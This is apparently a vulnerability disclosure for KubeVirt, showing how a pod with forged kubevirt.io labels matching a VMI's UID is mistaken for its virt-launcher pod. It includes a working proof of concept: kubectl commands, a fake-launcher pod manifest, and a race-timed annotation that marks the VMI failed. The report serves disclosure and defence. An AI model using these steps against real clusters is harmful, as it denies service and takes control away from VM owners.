Summary
_Short summary of the problem. Make the impact and severity as clear as possible.
A logic flaw in the virt-controller allows an attacker to disrupt the control over a running VMI by creating a pod with the same labels as the legitimate virt-launcher pod associated with the VMI. This can mislead the virt-controller into associating the fake pod with the VMI, resulting in incorrect status updates and potentially causing a DoS (Denial-of-Service).
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
A vulnerability has been identified in the logic responsible for reconciling the state of VMI. Specifically, it is possible to associate a malicious attacker-controlled pod with an existing VMI running within the same namespace as the pod, thereby replacing the legitimate virt-launcher pod associated with the VMI.
The virt-launcher pod is critical for enforcing the isolation mechanisms applied to the QEMU process that runs the virtual machine. It also serves, along with virt-handler, as a management interface that allows cluster users, operators, or administrators to control the lifecycle of the VMI (e.g., starting, stopping, or migrating it).
When virt-controller receives a notification about a change in a VMI's state, it attempts to identify the corresponding virt-launcher pod. This is necessary in several scenarios, including:
- When hardware devices are requested to be hotplugged into the VMI—they must also be hotplugged into the associated
virt-launcher pod.
- When additional RAM is requested—this may require updating the
virt-launcher pod's cgroups.
- When additional CPU resources are added—this may also necessitate modifying the
virt-launcher pod's cgroups.
- When the VMI is scheduled to migrate to another node.
The core issue lies in the implementation of the GetControllerOf function, which is responsible for determining the controller (i.e., owning resource) of a given pod. In its current form, this logic can be manipulated, allowing an attacker to substitute a rogue pod in place of the legitimate virt-launcher, thereby compromising the VMI's integrity and control mechanisms.
```go
//pkg/controller/controller.go
func CurrentVMIPod(vmi v1.VirtualMachineInstance, podIndexer cache.Indexer) (k8sv1.Pod, error) {
// Get all pods from the VMI namespace which contain the label "kubevirt.io"
objs, err := podIndexer.ByIndex(cache.NamespaceIndex, vmi.Namespace)
if err != nil {
return nil, err
}
pods := []k8sv1.Pod{}
for _, obj := range objs {
pod := obj.(k8sv1.Pod)
pods = append(pods, pod)
}
var curPod *k8sv1.Pod = nil
for _, pod := range pods {
if !IsControlledBy(pod, vmi) {
continue
}
if vmi.Status.NodeName != "" &&
vmi.Status.NodeName != pod.Spec.NodeName {
// This pod isn't scheduled to the current node.
// This can occur during the initial migration phases when
// a new target node is being prepared for the VMI.
continue
}
// take the most recently created pod
if curPod == nil || curPod.CreationTimestamp.Before(&pod.CreationTimestamp) {
curPod = pod
}
}
return curPod, nil
}
```
```go
// pkg/controller/controller_ref.go
// GetControllerOf returns the controllerRef if controllee has a controller,
// otherwise returns nil.
func GetControllerOf(pod k8sv1.Pod) metav1.OwnerReference {
controllerRef := metav1.GetControllerOf(pod)
if controllerRef != nil {
return controllerRef
}
// We may find pods that are only using CreatedByLabel and not set with an OwnerReference
if createdBy := pod.Labels[virtv1.CreatedByLabel]; len(createdBy) > 0 {
name := pod.Annotations[virtv1.DomainAnnotation]
uid := types.UID(createdBy)
vmi := virtv1.NewVMI(name, uid)
return metav1.NewControllerRef(vmi, virtv1.VirtualMachineInstanceGroupVersionKind)
}
return nil
}
func IsControlledBy(pod k8sv1.Pod, vmi virtv1.VirtualMachineInstance) bool {
if controllerRef := GetControllerOf(pod); controllerRef != nil {
return controllerRef.UID == vmi.UID
}
return false
}
```
The current logic assumes that a virt-launcher pod associated with a VMI may not always have a controllerRef. In such cases, the controller falls back to inspecting the pod's labels. Specifically it evaluates the kubevirt.io/created-by label, which is expected to match the UID of the VMI triggering the reconciliation loop. If multiple pods are found that could be associated with the same VMI, the virt-controller selects the most recently created one.
This logic appears to be designed with migration scenarios in mind, where it is expected that two virt-launcher pods might temporarily coexist for the same VMI: one for the migration source and one for the migration target node. However, a scenario was not identified in which a legitimate virt-launcher pod lacks a controllerRef and relies solely on labels (such as kubevirt.io/created-by) to indicate its association with a VMI.
This fallback behaviour introduces a security risk. If an attacker is able to obtain the UID of a running VMI and create a pod within the same namespace, they can assign it labels that mimic those of a legitimate virt-launcher pod. As a result, the CurrentVMIPod function could mistakenly return the attacker-controlled pod instead of the authentic one.
This vulnerability has at least two serious consequences:
- The attacker could disrupt or seize control over the VMI's lifecycle operations.
- The attacker could potentially influence the VMI's migration target node, bypassing node-level security constraints such as
nodeSelector or nodeAffinity, which are typically used to enforce workload placement policies.
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
Consider the following VMI definition:
yaml
apiVersion: kubevirt.io/v1
kind: VirtualMachineInstance
metadata:
name: launcher-label-confusion
spec:
domain:
devices:
disks:
- name: containerdisk
disk:
bus: virtio
- name: cloudinitdisk
disk:
bus: virtio
resources:
requests:
memory: 1024M
terminationGracePeriodSeconds: 0
volumes:
- name: containerdisk
containerDisk:
image: quay.io/kubevirt/cirros-container-disk-demo
- name: cloudinitdisk
cloudInitNoCloud:
userDataBase64: SGkuXG4=
```bash
Deploy the launcher-label-confusion VMI
operator@minikube:~$ kubectl apply -f launcher-confusion-labels.yaml
Get the UID of the VMI
operator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath='{.metadata.uid}'
18afb8bf-70c4-498b-aece-35804c9a0d11
Find the UID of the associated to the VMI virt-launcher pods (ActivePods)
operator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath='{.status.activePods}'
{"674bc0b1-e3c7-4c05-b300-9e5744a5f2c8":"minikube"}
```
The UID of the VMI can also be found as an argument to the container in the virt-launcher pod:
```bash
Inspect the virt-launcher pod associated with the VMI and the --uid CLI argument with which it was launched
operator@minikube:~$ kubectl get pods virt-launcher-launcher-label-confusion-bdkwj -o jsonpath='{.spec.containers[0]}' | jq .
{
"command": [
"/usr/bin/virt-launcher-monitor",
...
"--uid",
"18afb8bf-70c4-498b-aece-35804c9a0d11",
"--namespace",
"default",
...
```
Consider the following attacker-controlled pod which is associated to the VMI using the UID defined in the kubevirt.io/created-by label:
yaml
apiVersion: v1
kind: Pod
metadata:
name: fake-launcher
labels:
kubevirt.io: intruder # this is the label used by the virt-controller to identify pods associated with KubeVirt components
kubevirt.io/created-by: 18afb8bf-70c4-498b-aece-35804c9a0d11 # this is the UID of the launcher-label-confusion VMI which is going to be taken into account if there is no ownerReference. This is the case for regular pods
kubevirt.io/domain: migration
spec:
restartPolicy: Never
containers:
- name: alpine
image: alpine
command: [ "sleep", "3600" ]
```bash
operator@minikube:~$ kubectl apply -f fake-launcher.yaml
Get the UID of the fake-launcher pod
operator@minikube:~$ kubectl get pod fake-launcher -o jsonpath='{.metadata.uid}'
39479b87-3119-43b5-92d4-d461b68cfb13
```
To effectively attach the fake pod to the VMI, the attacker should wait for a state update to trigger the reconciliation loop:
```bash
Trigger the VMI reconciliation loop
operator@minikube:~$ kubectl patch vmi launcher-label-confusion -p '{"metadata":{"annotations":{"trigger-annotation":"quarkslab"}}}' --type=merge
virtualmachineinstance.kubevirt.io/launcher-label-confusion patched
Confirm that fake-launcher pod has been associated with the VMI
operator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath='{.status.activePods}'
{"39479b87-3119-43b5-92d4-d461b68cfb13":"minikube", # fake-launcher pod's UID
"674bc0b1-e3c7-4c05-b300-9e5744a5f2c8":"minikube"} # original virt-launcher pod UID
```
To illustrate the impact of this vulnerability, a race condition will be triggered in the sync function of the VMI controller:
```go
// pkg/virt-controller/watch/vmi.go
func (c Controller) sync(vmi virtv1.VirtualMachineInstance, pod k8sv1.Pod, dataVolumes []cdiv1.DataVolume) (common.SyncError, *k8sv1.Pod) {
//...
if !isTempPod(pod) && controller.IsPodReady(pod) {
// mark the pod with annotation to be evicted by this controller
newAnnotations := map[string]string{descheduler.EvictOnlyAnnotation: ""}
maps.Copy(newAnnotations, c.netAnnotationsGenerator.GenerateFromActivePod(vmi, pod))
// here a new updated pod is returned
patchedPod, err := c.syncPodAnnotations(pod, newAnnotations)
if err != nil {
return common.NewSyncError(err, controller.FailedPodPatchReason), pod
}
pod = patchedPod
// ...
func (c Controller) syncPodAnnotations(pod k8sv1.Pod, newAnnotations map[string]string) (*k8sv1.Pod, error) {
patchSet := patch.New()
for key, newValue := range newAnnotations {
if podAnnotationValue, keyExist := pod.Annotations[key]; !keyExist || podAnnotationValue != newValue {
patchSet.AddOption(
patch.WithAdd(fmt.Sprintf("/metadata/annotations/%s", patch.EscapeJSONPointer(key)), newValue),
)
}
}
if patchSet.IsEmpty() {
return pod, nil
}
patchBytes, err := patchSet.GeneratePayload()
// ...
patchedPod, err := c.clientset.CoreV1().Pods(pod.Namespace).Patch(context.Background(), pod.Name, types.JSONPatchType, patchBytes, v1.PatchOptions{})
// ...
return patchedPod, nil
}
```
The above code adds additional annotations to the virt-launcher pod related to node eviction. This happens via an API call to Kubernetes which upon success returns a new updated pod object. This object replaces the current one in the execution flow.
There is a tiny window where an attacker could trigger a race condition which will mark the VMI as failed:
```go
// pkg/virt-controller/watch/vmi.go
func isTempPod(pod *k8sv1.Pod) bool {
// EphemeralProvisioningObject string = "kubevirt.io/ephemeral-provisioning"
_, ok := pod.Annotations[virtv1.EphemeralProvisioningObject]
return ok
}
```
```go
// pkg/virt-controller/watch/vmi.go
func (c Controller) updateStatus(vmi virtv1.VirtualMachineInstance, pod k8sv1.Pod, dataVolumes []cdiv1.DataVolume, syncErr common.SyncError) error {
// ...
vmiPodExists := controller.PodExists(pod) && !isTempPod(pod)
tempPodExists := controller.PodExists(pod) && isTempPod(pod)
//...
case vmi.IsRunning():
if !vmiPodExists {
// MK: this will toggle the VMI phase to Failed
vmiCopy.Status.Phase = virtv1.Failed
break
}
//...
vmiChanged := !equality.Semantic.DeepEqual(vmi.Status, vmiCopy.Status) || !equality.Semantic.DeepEqual(vmi.Finalizers, vmiCopy.Finalizers) || !equality.Semantic.DeepEqual(vmi.Annotations, vmiCopy.Annotations) || !equality.Semantic.DeepEqual(vmi.Labels, vmiCopy.Labels)
if vmiChanged {
// MK: this will detect that the phase of the VMI has changed and updated the resource
key := controller.VirtualMachineInstanceKey(vmi)
c.vmiExpectations.SetExpectations(key, 1, 0)
_, err := c.clientset.VirtualMachineInstance(vmi.Namespace).Update(context.Background(), vmiCopy, v1.UpdateOptions{})
if err != nil {
c.vmiExpectations.LowerExpectations(key, 1, 0)
return err
}
}
```
To trigger it, the attacker should update the fake-launcher pod's annotations before the check vmiPodExists := controller.PodExists(pod) && !isTempPod(pod) in sync, and between the check if !isTempPod(pod) && controller.IsPodReady(pod) in sync but before the patch API call in syncPodAnnotations as follows:
yaml
annotations:
kubevirt.io/ephemeral-provisioning: "true"
The above annotation will mark the attacker pod as ephemeral (i.e., used to provision the VMI) and will fail the VMI as the latter is already running (provisioning happens before the VMI starts running).
The update should also happen during the reconciliation loop when the fake-launcher pod is initially going to be associated with the VMI and its labels, related to eviction, updated.
Upon successful exploitation the VMI is marked as failed and could not be controlled via the Kubernetes API. However, the QEMU process is still running and the VMI is still present in the cluster:
```bash
operator@minikube:~$ kubectl get vmi
NAME AGE PHASE IP NODENAME READY
launcher-label-confusion 128m Failed 10.244.0.10 minikube False
The VMI is not reachable anymore
operator@minikube:~$ virtctl console launcher-label-confusion
Operation cannot be fulfilled on virtualmachineinstance.kubevirt.io "launcher-label-confusion": VMI is in failed status
The two pods are still associated with the VMI
operator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath='{.status.activePods}'
{"674bc0b1-e3c7-4c05-b300-9e5744a5f2c8":"minikube","ca31c8de-4d14-4e47-b942-75be20fb9d96":"minikube"}
```
Impact
As a result, an attacker could provoke a DoS condition for the affected VMI, compromising the availability of the services it provides.